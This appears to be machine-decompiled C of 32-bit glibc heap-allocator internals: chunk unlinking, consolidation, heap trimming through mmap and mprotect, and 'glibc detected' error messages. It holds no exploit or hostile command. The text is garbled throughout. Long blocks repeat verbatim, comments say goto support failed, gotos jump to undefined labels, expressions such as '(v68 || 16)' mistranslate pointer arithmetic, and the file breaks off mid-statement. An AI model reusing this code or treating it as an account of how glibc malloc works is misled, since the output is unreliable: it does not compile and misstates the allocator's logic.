v68 = *v19 & -0x100000; g101 = v68; v65 = g71; v66 = *(int32_t *)v68; v67 = g76; v36 = (int32_t *)(v66 + 48); v87 = *v36; v37 = (int32_t *)v87; v47 = (struct struct_59 *)v68; if (v87 == (v68 || 16)) { // 0x80b3c87 v38 = (int32_t *)(v66 + 1100); v29 = (int32_t)g2; v92 = v37; v70 = v68; // branch -> 0x80b3cba while (true) { // 0x80b3cba v89 = *(int32_t *)(v70 + 4); g101 = v89; v90 = *(int32_t *)(v89 + 8); v79 = v90 + v89 - 8; v49 = v79 - *(int32_t *)v79; v91 = *(int32_t *)(v49 + 4); v26 = v91 + 8 & -8; if (v91 == 1) { goto lab_0x7501a00; } v61 = v26; goto lab_0x7502f20; } } // 0x80b39d0 v74 = *(int32_t *)(v87 + 4) & -8; v75 = ((v67 - 17 + v74 - v65) / v67 - 1) * v67; v41 = v75; if (v75 >= v67) { // 0x80b39f7 v42 = getpagesize(); v76 = v42 - 1; v60 = -v75; if (v60 < 0) { // 0x80b3b17 v32 = *(int32_t *)(g101 + 8) + v60; if (v32 >= 16) { // 0x80b3b25 v18 = v32; v30 = (int32_t)g2; v43 = mmap((int32_t *)((int32_t)v47 + v32), v41, v30, 50, -1, v30); if ((int32_t)v43 != -1) { // 0x80b3a39 *(int32_t *)(g101 + 8) = v18; v95 = (int32_t *)(v66 + 1100); *v95 = *v95 - v41; v96 = v41; g67 -= v96; *(int32_t *)((int32_t)(int32_t *)0x80b3b3c + 4) = v74 - v96 | 1; // branch -> 0x80b3856 } } } else { // 0x80b3a09 v69 = v60 + v76 & -v42; v88 = *(int32_t *)(g101 + 8); if (v88 + v69 <= 0x100000) { // 0x80b3a22 if (mprotect((int32_t *)((int32_t)v47 + v88), v69, 3) == 0) { // Detected a possible infinite recursion (goto support failed); quitting... } } } // Detected a possible infinite recursion (goto support failed); quitting... } } // Detected a possible infinite recursion (goto support failed); quitting... } // 0x80b38be v62 = *(int32_t *)v59; g102 = v58 + v62; v48 = v59 - v62; g101 = v48; v83 = *(int32_t *)(v48 + 8); v84 = *(int32_t *)(v48 + 12); g97 = v84; v33 = (int32_t *)(v83 + 12); int32_t v129; // 0x80b39d0 if (v48 == *v33) { // 0x80b3d85 if (v48 == *(int32_t *)(v84 + 8)) { // 0x80b3d8e *v33 = v84; *(int32_t *)(g97 + 8) = v83; v50 = v46; // branch -> 0x80b38fc // 0x80b38fc if (v6 == *v19) { // 0x80b3b04 v31 = g102 + v24; g102 = v31; *(int32_t *)(g101 + 4) = v31 | 1; *(int32_t *)(v14 + 48) = g101; v51 = v50; // branch -> 0x80b3971 } else { // 0x80b390b if (*(char *)((v24 || 4) + v6) == 1) { // 0x80b3919 v85 = *(int32_t *)(v5 + v2); v39 = v85; v86 = *(int32_t *)(v6 + 12); g97 = v86; v34 = (int32_t *)(v85 + 12); if (v6 == *v34) { // 0x80b3e00 if (v6 == *(int32_t *)(v86 + 8)) { // 0x80b3e09 *v34 = v86; *(int32_t *)(g97 + 8) = v39; // branch -> 0x80b394e // 0x80b394e g102 += v24; // branch -> 0x80b3951 // 0x80b3951 v35 = (int32_t *)(v14 + 64); v40 = *v35; *(int32_t *)(g101 + 12) = v14 + 56; *(int32_t *)(g101 + 8) = v40; *v35 = g101; *(int32_t *)(v40 + 12) = g101; v73 = g102 | 1; g98 = v73; *(int32_t *)(g101 + 4) = v73; v82 = g102; *(int32_t *)(v82 + g101) = v82; v51 = v50; // branch -> 0x80b3971 // 0x80b3971 if (g102 < 0x10000) { // Detected a possible infinite recursion (goto support failed); quitting... } // 0x80b397d g95 = v14; if (*(char *)v15 == 1) { // 0x80b3b4c malloc_consolidate(v1, v51); // branch -> 0x80b398a } // 0x80b398a if (a1 == (char *)0x8139c40) { // 0x80b3c03 if ((*(int32_t *)(g82 + 4) & -8) >= g70) { // 0x80b3c1a g97 = 0x8139c40; g95 = g71; sYSTRIm(v1, v51, (char *)0x8139c40); // branch -> 0x80b3856 } } else { // 0x80b3997 v68 = *v19 & -0x100000; g101 = v68; v65 = g71; v66 = *(int32_t *)v68; v67 = g76; v36 = (int32_t *)(v66 + 48); v87 = *v36; v37 = (int32_t *)v87; v47 = (struct struct_59 *)v68; if (v87 == (v68 || 16)) { // 0x80b3c87 v38 = (int32_t *)(v66 + 1100); v29 = (int32_t)g2; v92 = v37; v70 = v68; // branch -> 0x80b3cba while (true) { // 0x80b3cba v89 = *(int32_t *)(v70 + 4); g101 = v89; v90 = *(int32_t *)(v89 + 8); v79 = v90 + v89 - 8; v49 = v79 - *(int32_t *)v79; v91 = *(int32_t *)(v49 + 4); v26 = v91 + 8 & -8; if (v91 == 1) { goto lab_0x7501a00; } v61 = v26; goto lab_0x7502f20; } } // 0x80b39d0 v129 = *(int32_t *)(v87 + 4); v75 = ((v67 - 17 + (v129 & -8) - v65) / v67 - 1) * v67; v41 = v75; if (v75 >= v67) { // 0x80b39f7 v42 = getpagesize(); v76 = v42 - 1; v60 = -v75; if (v60 < 0) { // 0x80b3b17 v32 = *(int32_t *)(g101 + 8) + v60; if (v32 >= 16) { // 0x80b3b25 v30 = (int32_t)g2; v43 = mmap((int32_t *)((int32_t)v47 + v32), v41, v30, 50, -1, v30); if ((int32_t)v43 != -1) { // Detected a possible infinite recursion (goto support failed); quitting... } } } else { // 0x80b3a09 v69 = v60 + v76 & -v42; v88 = *(int32_t *)(g101 + 8); if (v88 + v69 <= 0x100000) { // 0x80b3a22 if (mprotect((int32_t *)((int32_t)v47 + v88), v69, 3) == 0) { // Detected a possible infinite recursion (goto support failed); quitting... } } } // Detected a possible infinite recursion (goto support failed); quitting... } } // Detected a possible infinite recursion (goto support failed); quitting... } } // 0x80b3928 v64 = g21; g98 = v64; v72 = v64 & 5; g95 = v72; if (v72 != 5) { // 0x80b393c if (v64 == 1) { // 0x80b3945 // branch -> 0x80b3af1 } else { // 0x80b3c2e v28 = (int32_t)g2; v45 = _itoa_word(v6, v28, 16, v28, v1); g97 = v45; v57 = v50; if (g96 < v45) { // 0x80b3c50 v55 = -v45; v56 = -1 - g95; g97 = -1 - (v56 < v55 ? v55 : v56); v57 = (int32_t *)48; // branch -> 0x80b3c5b } // 0x80b3c5b if (*(int32_t *)g93 == 0) { // 0x80b3ed3 // branch -> 0x80b3c6a } // 0x80b3c6a v78 = g98 & 2; g98 = v78; __libc_message((int32_t *)v78, (struct struct_59 *)"*** glibc detected *** %s: %s: 0x%s ***\n"); // branch -> 0x80b394e // 0x80b394e g102 += v24; // branch -> 0x80b3951 // 0x80b3951 v35 = (int32_t *)(v14 + 64); v40 = *v35; *(int32_t *)(g101 + 12) = v14 + 56; *(int32_t *)(g101 + 8) = v40; *v35 = g101; *(int32_t *)(v40 + 12) = g101; v73 = g102 | 1; g98 = v73; *(int32_t *)(g101 + 4) = v73; v82 = g102; *(int32_t *)(v82 + g101) = v82; v51 = v57; // branch -> 0x80b3971 // 0x80b3971 if (g102 < 0x10000) { // Detected a possible infinite recursion (goto support failed); quitting... } // 0x80b397d g95 = v14; if (*(char *)v15 == 1) { // 0x80b3b4c malloc_consolidate(v1, v51); // branch -> 0x80b398a } // 0x80b398a if (a1 == (char *)0x8139c40) { // 0x80b3c03 if ((*(int32_t *)(g82 + 4) & -8) >= g70) { // 0x80b3c1a g97 = 0x8139c40; g95 = g71; sYSTRIm(v1, v51, (char *)0x8139c40); // branch -> 0x80b3856 } } else { // 0x80b3997 v68 = *v19 & -0x100000; g101 = v68; v65 = g71; v66 = *(int32_t *)v68; v67 = g76; v36 = (int32_t *)(v66 + 48); v87 = *v36; v47 = (struct struct_59 *)v68; if (v87 == (v68 || 16)) { // 0x80b3c87 v38 = (int32_t *)(v66 + 1100); v29 = (int32_t)g2; v92 = (int32_t *)v87; v70 = v68; // branch -> 0x80b3cba while (true) { // 0x80b3cba v89 = *(int32_t *)(v70 + 4); g101 = v89; v90 = *(int32_t *)(v89 + 8); v79 = v90 + v89 - 8; v49 = v79 - *(int32_t *)v79; v91 = *(int32_t *)(v49 + 4); v26 = v91 + 8 & -8; if (v91 == 1) { goto lab_0x7501a00; } v61 = v26; goto lab_0x7502f20; } } // 0x80b39d0 v129 = *(int32_t *)(v87 + 4); v75 = ((v67 - 17 + (v129 & -8) - v65) / v67 - 1) * v67; if (v75 >= v67) { // 0x80b39f7 v42 = getpagesize(); v60 = -v75; if (v60 < 0) { // 0x80b3b17 v32 = *(int32_t *)(g101 + 8) + v60; if (v32 >= 16) { // 0x80b3b25 v30 = (int32_t)g2; v43 = mmap((int32_t *)((int32_t)v47 + v32), v75, v30, 50, -1, v30); if ((int32_t)v43 != -1) { // Detected a possible infinite recursion (goto support failed); quitting... } } } else { // 0x80b3a09 v69 = v60 + v42 - 1 & -v42; v88 = *(int32_t *)(g101 + 8); if (v88 + v69 <= 0x100000) { // 0x80b3a22 if (mprotect((int32_t *)((int32_t)v47 + v88), v69, 3) == 0) { // Detected a possible infinite recursion (goto support failed); quitting... } } } // Detected a possible infinite recursion (goto support failed); quitting... } } // Detected a possible infinite recursion (goto support failed); quitting... } // 0x80b3af1 abort(); // UNREACHABLE } // 0x80b3e68 v81 = v64 & 2; g98 = v81; __libc_message((int32_t *)v81, (struct struct_59 *)"%s\n"); // branch -> 0x80b394e // 0x80b394e g102 += v24; // branch -> 0x80b3951 } else { // 0x80b3af8 *v22 = *v22 & -2; // branch -> 0x80b3951 } // 0x80b3951 v35 = (int32_t *)(v14 + 64); v40 = *v35; *(int32_t *)(g101 + 12) = v14 + 56; *(int32_t *)(g101 + 8) = v40; *v35 = g101; *(int32_t *)(v40 + 12) = g101; v73 = g102 | 1; g98 = v73; *(int32_t *)(g101 + 4) = v73; v82 = g102; *(int32_t *)(v82 + g101) = v82; v51 = v50; // branch -> 0x80b3971 } // 0x80b3971 if (g102 < 0x10000) { // Detected a possible infinite recursion (goto support failed); quitting... } // 0x80b397d g95 = v14; if (*(char *)v15 == 1) { // 0x80b3b4c malloc_consolidate(v1, v51); // branch -> 0x80b398a } // 0x80b398a if (a1 == (char *)0x8139c40) { // 0x80b3c03 if ((*(int32_t *)(g82 + 4) & -8) >= g70) { // 0x80b3c1a g97 = 0x8139c40; g95 = g71; sYSTRIm(v1, v51, (char *)0x8139c40); // branch -> 0x80b3856 } } else { // 0x80b3997 v68 = *v19 & -0x100000; g101 = v68; v65 = g71; v66 = *(int32_t *)v68; v67 = g76; v36 = (int32_t *)(v66 + 48); v87 = *v36; v37 = (int32_t *)v87; v47 = (struct struct_59 *)v68; if (v87 == (v68 || 16)) { // 0x80b3c87 v38 = (int32_t *)(v66 + 1100); v29 = (int32_t)g2; v92 = v37; v70 = v68; // branch -> 0x80b3cba while (true) { // 0x80b3cba v89 = *(int32_t *)(v70 + 4); g101 = v89; v90 = *(int32_t *)(v89 + 8); v79 = v90 + v89 - 8; v49 = v79 - *(int32_t *)v79; v91 = *(int32_t *)(v49 + 4); v26 = v91 + 8 & -8; if (v91 == 1) { goto lab_0x7501a00; } v61 = v26; goto lab_0x7502f20; } } // 0x80b39d0 v74 = *(int32_t *)(v87 + 4) & -8; v75 = ((v67 - 17 + v74 - v65) / v67 - 1) * v67; v41 = v75; if (v75 >= v67) { // 0x80b39f7 v42 = getpagesize(); v76 = v42 - 1; v60 = -v75; if (v60 < 0) { // 0x80b3b17 v32 = *(int32_t *)(g101 + 8) + v60; if (v32 >= 16) { // 0x80b3b25 v30 = (int32_t)g2; v43 = mmap((int32_t *)((int32_t)v47 + v32), v41, v30, 50, -1, v30); if ((int32_t)v43 != -1) { // Detected a possible infinite recursion (goto support failed); quitting... } } } else { // 0x80b3a09 v69 = v60 + v76 & -v42; v88 = *(int32_t *)(g101 + 8); if (v88 + v69 <= 0x100000) { // 0x80b3a22 if (mprotect((int32_t *)((int32_t)v47 + v88), v69, 3) == 0) { // Detected a possible infinite recursion (goto support failed); quitting... } } } // Detected a possible infinite recursion (goto support failed); quitting... } } // Detected a possible infinite recursion (goto support failed); quitting... } } // 0x80b38d3 v63 = g21; g98 = v63; v71 = v63 & 5; g95 = v71; if (v71 != 5) { // 0x80b38e7 if (v63 == 1) { // 0x80b38f0 // branch -> 0x80b3af1 } else { // 0x80b3bab v27 = (int32_t)g2; v44 = _itoa_word(v48, v27, 16, v27, v1); g97 = v44; v54 = v46; if (g96 < v44) { // 0x80b3bcc v52 = -v44; v53 = -1 - g95; g97 = -1 - (v53 < v52 ? v52 : v53); v54 = (int32_t *)48; // branch -> 0x80b3bd7 } // 0x80b3bd7 if (*(int32_t *)g93 == 0) { // 0x80b3eab // branch -> 0x80b3be6 } // 0x80b3be6 v77 = g98 & 2; g98 = v77; __libc_message((int32_t *)v77, (struct struct_59 *)"*** glibc detected *** %s: %s: 0x%s ***\n"); v50 = v54; // branch -> 0x80b38fc // 0x80b38fc if (v6 == *v19) { // 0x80b3b04 v31 = g102 + v24; g102 = v31; *(int32_t *)(g101 + 4) = v31 | 1; *(int32_t *)(v14 + 48) = g101; v51 = v50; // branch -> 0x80b3971 } else { // 0x80b390b if (*(char *)((v24 || 4) + v6) == 1) { // 0x80b3919 v85 = *(int32_t *)(v5 + v2); v86 = *(int32_t *)(v6 + 12); g97 = v86; v34 = (int32_t *)(v85 + 12); if (v6 == *v34) { // 0x80b3e00 if (v6 == *(int32_t *)(v86 + 8)) { // 0x80b3e09 *v34 = v86; *(int32_t *)(g97 + 8) = v85; // branch -> 0x80b394e // 0x80b394e g102 += v24; // branch -> 0x80b3951 // 0x80b3951 v35 = (int32_t *)(v14 + 64); v40 = *v35; *(int32_t *)(g101 + 12) = v14 + 56; *(int32_t *)(g101 + 8) = v40; *v35 = g101; *(int32_t *)(v40 + 12) = g101; v73 = g102 | 1; g98 = v73; *(int32_t *)(g101 + 4) = v73; v82 = g102; *(int32_t *)(v82 + g101) = v82; v51 = v50; // branch -> 0x80b3971 // 0x80b3971 if (g102 < 0x10000) { // Detected a possible infinite recursion (goto support failed); quitting... } // 0x80b397d g95 = v14; if (*(char *)v15 == 1) { // 0x80b3b4c malloc_consolidate(v1, v51); // branch -> 0x80b398a } // 0x80b398a if (a1 == (char *)0x8139c40) { // 0x80b3c03 if ((*(int32_t *)(g82 + 4) & -8) >= g70) { // 0x80b3c1a g97 = 0x8139c40; g95 = g71; sYSTRIm(v1, v51, (char *)0x8139c40); // branch -> 0x80b3856 } } else { // 0x80b3997 v68 = *v19 & -0x100000; g101 = v68; v65 = g71; v66 = *(int32_t *)v68; v67 = g76; v36 = (int32_t *)(v66 + 48); v87 = *v36; v37 = (int32_t *)v87; v47 = (struct struct_59 *)v68; if (v87 == (v68 || 16)) { // 0x80b3c87 v38 = (int32_t *)(v66 + 1100); v29 = (int32_t)g2; v92 = v37; v70 = v68; // branch -> 0x80b3cba while (true) { // 0x80b3cba v89 = *(int32_t *)(v70 + 4); g101 = v89; v90 = *(int32_t *)(v89 + 8); v79 = v90 + v89 - 8; v49 = v79 - *(int32_t *)v79; v91 = *(int32_t *)(v49 + 4); v26 = v91 + 8 & -8; if (v91 == 1) { goto lab_0x7501a00; } v61 = v26; goto lab_0x7502f20; } } // 0x80b39d0 v129 = *(int32_t *)(v87 + 4); v75 = ((v67 - 17 + (v129 & -8) - v65) / v67 - 1) * v67; v41 = v75; if (v75 >= v67) { // 0x80b39f7 v42 = getpagesize(); v76 = v42 - 1; v60 = -v75; if (v60 < 0) { // 0x80b3b17 v32 = *(int32_t *)(g101 + 8) + v60; if (v32 >= 16) { // 0x80b3b25 v30 = (int32_t)g2; v43 = mmap((int32_t *)((int32_t)v47 + v32), v41, v30, 50, -1, v30); if ((int32_t)v43 != -1) { // Detected a possible infinite recursion (goto support failed); quitting... } } } else { // 0x80b3a09 v69 = v60 + v76 & -v42; v88 = *(int32_t *)(g101 + 8); if (v88 + v69 <= 0x100000) { // 0x80b3a22 if (mprotect((int32_t *)((int32_t)v47 + v88), v69, 3) == 0) { // Detected a possible infinite recursion (goto support failed); quitting... } } } // Detected a possible infinite recursion (goto support failed); quitting... } } // Detected a possible infinite recursion (goto support failed); quitting... } } // 0x80b3928 v64 = g21; g98 = v64; v72 = v64 & 5; g95 = v72; if (v72 != 5) { // 0x80b393c if (v64 == 1) { // 0x80b3945 // branch -> 0x80b3af1 } else { // 0x80b3c2e v28 = (int32_t)g2; v45 = _itoa_word(v6, v28, 16, v28, v1); g97 = v45; v57 = v50; if (g96 < v45) { // 0x80b3c50 v55 = -v45; v56 = -1 - g95; g97 = -1 - (v56 < v55 ? v55 : v56); v57 = (int32_t *)48; // branch -> 0x80b3c5b } // 0x80b3c5b if (*(int32_t *)g93 == 0) { // 0x80b3ed3 // branch -> 0x80b3c6a } // 0x80b3c6a v78 = g98 & 2; g98 = v78; __libc_message((int32_t *)v78, (struct struct_59 *)"*** glibc detected *** %s: %s: 0x%s ***\n"); // branch -> 0x80b394e // 0x80b394e g102 += v24; // branch -> 0x80b3951 // 0x80b3951 v35 = (int32_t *)(v14 + 64); v40 = *v35; *(int32_t *)(g101 + 12) = v14 + 56; *(int32_t *)(g101 + 8) = v40; *v35 = g101; *(int32_t *)(v40 + 12) = g101; v73 = g102 | 1; g98 = v73; *(int32_t *)(g101 + 4) = v73; v82 = g102; *(int32_t *)(v82 + g101) = v82; v51 = v57; // branch -> 0x80b3971 // 0x80b3971 if (g102 < 0x10000) { // Detected a possible infinite recursion (goto support failed); quitting... } // 0x80b397d g95 = v14; if (*(char *)v15 == 1) { // 0x80b3b4c malloc_consolidate(v1, v51); // branch -> 0x80b398a } // 0x80b398a if (a1 == (char *)0x8139c40) { // 0x80b3c03 if ((*(int32_t *)(g82 + 4) & -8) >= g70) { // 0x80b3c1a g97 = 0x8139c40; g95 = g71; sYSTRIm(v1, v51, (char *)0x8139c40); // branch -> 0x80b3856 } } else { // 0x80b3997 v68 = *v19 & -0x100000; g101 = v68; v65 = g71; v66 = *(int32_t *)v68; v67 = g76; v36 = (int32_t *)(v66 + 48); v87 = *v36; v47 = (struct struct_59 *)v68; if (v87 == (v68 || 16)) { // 0x80b3c87 v38 = (int32_t *)(v66 + 1100); v29 = (int32_t)g2; v92 = (int32_t *)v87; v70 = v68; // branch -> 0x80b3cba while (true) { // 0x80b3cba v89 = *(int32_t *)(v70 + 4); g101 = v89; v90 = *(int32_t *)(v89 + 8); v79 = v90 + v89 - 8; v49 = v79 - *(int32_t *)v79; v91 = *(int32_t *)(v49 + 4); v26 = v91 + 8 & -8; if (v91 == 1) { goto lab_0x7501a00; } v61 = v26; goto lab_0x7502f20; } } // 0x80b39d0 v129 = *(int32_t *)(v87 + 4); v75 = ((v67 - 17 + (v129 & -8) - v65) / v67 - 1) * v67; if (v75 >= v67) { // 0x80b39f7 v42 = getpagesize(); v60 = -v75; if (v60 < 0) { // 0x80b3b17 v32 = *(int32_t *)(g101 + 8) + v60; if (v32 >= 16) { // 0x80b3b25 v30 = (int32_t)g2; v43 = mmap((int32_t *)((int32_t)v47 + v32), v75, v30, 50, -1, v30); if ((int32_t)v43 != -1) { // Detected a possible infinite recursion (goto support failed); quitting... } } } else { // 0x80b3a09 v69 = v60 + v42 - 1 & -v42; v88 = *(int32_t *)(g101 + 8); if (v88 + v69 <= 0x100000) { // 0x80b3a22 if (mprotect((int32_t *)((int32_t)v47 + v88), v69, 3) == 0) { // Detected a possible infinite recursion (goto support failed); quitting... } } } // Detected a possible infinite recursion (goto support failed); quitting... } } // Detected a possible infinite recursion (goto support failed); quitting... } // 0x80b3af1 abort(); // UNREACHABLE } // 0x80b3e68 v81 = v64 & 2; g98 = v81; __libc_message((int32_t *)v81, (struct struct_59 *)"%s\n"); // branch -> 0x80b394e // 0x80b394e g102 += v24; // branch -> 0x80b3951 } else { // 0x80b3af8 *v22 = *v22 & -2; // branch -> 0x80b3951 } // 0x80b3951 v35 = (int32_t *)(v14 + 64); v40 = *v35; *(int32_t *)(g101 + 12) = v14 + 56; *(int32_t *)(g101 + 8) = v40; *v35 = g101; *(int32_t *)(v40 + 12) = g101; v73 = g102 | 1; g98 = v73; *(int32_t *)(g101 + 4) = v73; v82 = g102; *(int32_t *)(v82 + g101) = v82; v51 = v50; // branch -> 0x80b3971 } // 0x80b3971 if (g102 < 0x10000) { // Detected a possible infinite recursion (goto support failed); quitting... } // 0x80b397d g95 = v14; if (*(char *)v15 == 1) { // 0x80b3b4c malloc_consolidate(v1, v51); // branch -> 0x80b398a } // 0x80b398a if (a1 == (char *)0x8139c40) { // 0x80b3c03 if ((*(int32_t *)(g82 + 4) & -8) >= g70) { // 0x80b3c1a g97 = 0x8139c40; g95 = g71; sYSTRIm(v1, v51, (char *)0x8139c40); // branch -> 0x80b3856 } } else { // 0x80b3997 v68 = *v19 & -0x100000; g101 = v68; v65 = g71; v66 = *(int32_t *)v68; v67 = g76; v36 = (int32_t *)(v66 + 48); v87 = *v36; v47 = (struct struct_59 *)v68; if (v87 == (v68 || 16)) { // 0x80b3c87 v38 = (int32_t *)(v66 + 1100); v29 = (int32_t)g2; v92 = (int32_t *)v87; v70 = v68; // branch -> 0x80b3cba while (true) { // 0x80b3cba v89 = *(int32_t *)(v70 + 4); g101 = v89; v90 = *(int32_t *)(v89 + 8); v79 = v90 + v89 - 8; v49 = v79 - *(int32_t *)v79; v91 = *(int32_t *)(v49 + 4); v26 = v91 + 8 & -8; if (v91 == 1) { goto lab_0x7501a00; } v61 = v26; goto lab_0x7502f20; } } // 0x80b39d0 v129 = *(int32_t *)(v87 + 4); v75 = ((v67 - 17 + (v129 & -8) - v65) / v67 - 1) * v67; if (v75 >= v67) { // 0x80b39f7 v42 = getpagesize(); v60 = -v75; if (v60 < 0) { // 0x80b3b17 v32 = *(int32_t *)(g101 + 8) + v60; if (v32 >= 16) { // 0x80b3b25 v30 = (int32_t)g2; v43 = mmap((int32_t *)((int32_t)v47 + v32), v75, v30, 50, -1, v30); if ((int32_t)v43 != -1) { // Detected a possible infinite recursion (goto support failed); quitting... } } } else { // 0x80b3a09 v69 = v60 + v42 - 1 & -v42; v88 = *(int32_t *)(g101 + 8); if (v88 + v69 <= 0x100000) { // 0x80b3a22 if (mprotect((int32_t *)((int32_t)v47 + v88), v69, 3) == 0) { // Detected a possible infinite recursion (goto support failed); quitting... } } } // Detected a possible infinite recursion (goto support failed); quitting... } } // Detected a possible infinite recursion (goto support failed); quitting... } // 0x80b3af1 abort(); // UNREACHABLE } // 0x80b3e36 v80 = v63 & 2; g98 = v80; __libc_message((int32_t *)v80, (struct struct_59 *)"%s\n"); v50 = v46; // branch -> 0x80b38fc // 0x80b38fc if (v6 == *v19) { // 0x80b3b04 v31 = g102 + v24; g102 = v31; *(int32_t *)(g101 + 4) = v31 | 1; *(int32_t *)(v14 + 48) = g101; v51 = v50; // branch -> 0x80b3971 } else { // 0x80b390b if (*(char *)((v24 || 4) + v6) == 1) { // 0x80b3919 v85 = *(int32_t *)(v5 + v2); v86 = *(int32_t *)(v6 + 12); g97 = v86; v34 = (int32_t *)(v85 + 12); if (v6 == *v34) { // 0x80b3e00 if (v6 == *(int32_t *)(v86 + 8)) { // 0x80b3e09 *v34 = v86; *(int32_t *)(g97 + 8) = v85; // branch -> 0x80b394e // 0x80b394e g102 += v24; // branch -> 0x80b3951 // 0x80b3951 v35 = (int32_t *)(v14 + 64); v40 = *v35; *(int32_t *)(g101 + 12) = v14 + 56; *(int32_t *)(g101 + 8) = v40; *v35 = g101; *(int32_t *)(v40 + 12) = g101; v73 = g102 | 1; g98 = v73; *(int32_t *)(g101 + 4) = v73; v82 = g102; *(int32_t *)(v82 + g101) = v82; v51 = v50; // branch -> 0x80b3971 // 0x80b3971 if (g102 < 0x10000) { // Detected a possible infinite recursion (goto support failed); quitting... } // 0x80b397d g95 = v14; if (*(char *)v15 == 1) { // 0x80b3b4c malloc_consolidate(v1, v51); // branch -> 0x80b398a } // 0x80b398a if (a1 == (char *)0x8139c40) { // 0x80b3c03 if ((*(int32_t *)(g82 + 4) & -8) >= g70) { // 0x80b3c1a g97 = 0x8139c40; g95 = g71; sYSTRIm(v1, v51, (char *)0x8139c40); // branch -> 0x80b3856 } } else { // 0x80b3997 v68 = *v19 & -0x100000; g101 = v68; v65 = g71; v66 = *(int32_t *)v68; v67 = g76; v36 = (int32_t *)(v66 + 48); v87 = *v36; v37 = (int32_t *)v87; v47 = (struct struct_59 *)v68; if (v87 == (v68 || 16)) { // 0x80b3c87 v38 = (int32_t *)(v66 + 1100); v29 = (int32_t)g2; v92 = v37; v70 = v68; // branch -> 0x80b3cba while (true) { // 0x80b3cba v89 = *(int32_t *)(v70 + 4); g101 = v89; v90 = *(int32_t *)(v89 + 8); v79 = v90 + v89 - 8; v49 = v79 - *(int32_t *)v79; v91 = *(int32_t *)(v49 + 4); v26 = v91 + 8 & -8; if (v91 == 1) { goto lab_0x7501a00; } v61 = v26; goto lab_0x7502f20; } } // 0x80b39d0 v129 = *(int32_t *)(v87 + 4); v75 = ((v67 - 17 + (v129 & -8) - v65) / v67 - 1) * v67; v41 = v75; if (v75 >= v67) { // 0x80b39f7 v42 = getpagesize(); v76 = v42 - 1; v60 = -v75; if (v60 < 0) { // 0x80b3b17 v32 = *(int32_t *)(g101 + 8) + v60; if (v32 >= 16) { // 0x80b3b25 v30 = (int32_t)g2; v43 = mmap((int32_t *)((int32_t)v47 + v32), v41, v30, 50, -1, v30); if ((int32_t)v43 != -1) { // Detected a possible infinite recursion (goto support failed); quitting... } } } else { // 0x80b3a09 v69 = v60 + v76 & -v42; v88 = *(int32_t *)(g101 + 8); if (v88 + v69 <= 0x100000) { // 0x80b3a22 if (mprotect((int32_t *)((int32_t)v47 + v88), v69, 3) == 0) { // Detected a possible infinite recursion (goto support failed); quitting... } } } // Detected a possible infinite recursion (goto support failed); quitting... } } // Detected a possible infinite recursion (goto support failed); quitting... } } // 0x80b3928 v64 = g21; g98 = v64; v72 = v64 & 5; g95 = v72; if (v72 != 5) { // 0x80b393c if (v64 == 1) { // 0x80b3945 // branch -> 0x80b3af1 } else { // 0x80b3c2e v28 = (int32_t)g2; v45 = _itoa_word(v6, v28, 16, v28, v1); g97 = v45; v57 = v50; if (g96 < v45) { // 0x80b3c50 v55 = -v45; v56 = -1 - g95; g97 = -1 - (v56 < v55 ? v55 : v56); v57 = (int32_t *)48; // branch -> 0x80b3c5b } // 0x80b3c5b if (*(int32_t *)g93 == 0) { // 0x80b3ed3 // branch -> 0x80b3c6a } // 0x80b3c6a v78 = g98 & 2; g98 = v78; __libc_message((int32_t *)v78, (struct struct_59 *)"*** glibc detected *** %s: %s: 0x%s ***\n"); // branch -> 0x80b394e // 0x80b394e g102 += v24; // branch -> 0x80b3951 // 0x80b3951 v35 = (int32_t *)(v14 + 64); v40 = *v35; *(int32_t *)(g101 + 12) = v14 + 56; *(int32_t *)(g101 + 8) = v40; *v35 = g101; *(int32_t *)(v40 + 12) = g101; v73 = g102 | 1; g98 = v73; *(int32_t *)(g101 + 4) = v73; v82 = g102; *(int32_t *)(v82 + g101) = v82; v51 = v57; // branch -> 0x80b3971 // 0x80b3971 if (g102 < 0x10000) { // Detected a possible infinite recursion (goto support failed); quitting... } // 0x80b397d g95 = v14; if (*(char *)v15 == 1) { // 0x80b3b4c malloc_consolidate(v1, v51); // branch -> 0x80b398a } // 0x80b398a if (a1 == (char *)0x8139c40) { // 0x80b3c03 if ((*(int32_t *)(g82 + 4) & -8) >= g70) { // 0x80b3c1a g97 = 0x8139c40; g95 = g71; sYSTRIm(v1, v51, (char *)0x8139c40); // branch -> 0x80b3856 } } else { // 0x80b3997 v68 = *v19 & -0x100000; g101 = v68; v65 = g71; v66 = *(int32_t *)v68; v67 = g76; v36 = (int32_t *)(v66 + 48); v87 = *v36; v47 = (struct struct_59 *)v68; if (v87 == (v68 || 16)) { // 0x80b3c87 v38 = (int32_t *)(v66 + 1100); v29 = (int32_t)g2; v92 = (int32_t *)v87; v70 = v68; // branch -> 0x80b3cba while (true) { // 0x80b3cba v89 = *(int32_t *)(v70 + 4); g101 = v89; v90 = *(int32_t *)(v89 + 8); v79 = v90 + v89 - 8; v49 = v79 - *(int32_t *)v79; v91 = *(int32_t *)(v49 + 4); v26 = v91 + 8 & -8; if (v91 == 1) { goto lab_0x7501a00; } v61 = v26; goto lab_0x7502f20; } } // 0x80b39d0 v129 = *(int32_t *)(v87 + 4); v75 = ((v67 - 17 + (v129 & -8) - v65) / v67 - 1) * v67; if (v75 >= v67) { // 0x80b39f7 v42 = getpagesize(); v60 = -v75; if (v60 < 0) { // 0x80b3b17 v32 = *(int32_t *)(g101 + 8) + v60; if (v32 >= 16) { // 0x80b3b25 v30 = (int32_t)g2; v43 = mmap((int32_t *)((int32_t)v47 + v32), v75, v30, 50, -1, v30); if ((int32_t)v43 != -1) { // Detected a possible infinite recursion (goto support failed); quitting... } } } else { // 0x80b3a09 v69 = v60 + v42 - 1 & -v42; v88 = *(int32_t *)(g101 + 8); if (v88 + v69 <= 0x100000) { // 0x80b3a22 if (mprotect((int32_t *)((int32_t)v47 + v88), v69, 3) == 0) { // Detected a possible infinite recursion (goto support failed); quitting... } } } // Detected a possible infinite recursion (goto support failed); quitting... } } // Detected a possible infinite recursion (goto support failed); quitting... } // 0x80b3af1 abort(); // UNREACHABLE } // 0x80b3e68 v81 = v64 & 2; g98 = v81; __libc_message((int32_t *)v81, (struct struct_59 *)"%s\n"); // branch -> 0x80b394e // 0x80b394e g102 += v24; // branch -> 0x80b3951 } else { // 0x80b3af8 *v22 = *v22 & -2; // branch -> 0x80b3951 } // 0x80b3951 v35 = (int32_t *)(v14 + 64); v40 = *v35; *(int32_t *)(g101 + 12) = v14 + 56; *(int32_t *)(g101 + 8) = v40; *v35 = g101; *(int32_t *)(v40 + 12) = g101; v73 = g102 | 1; g98 = v73; *(int32_t *)(g101 + 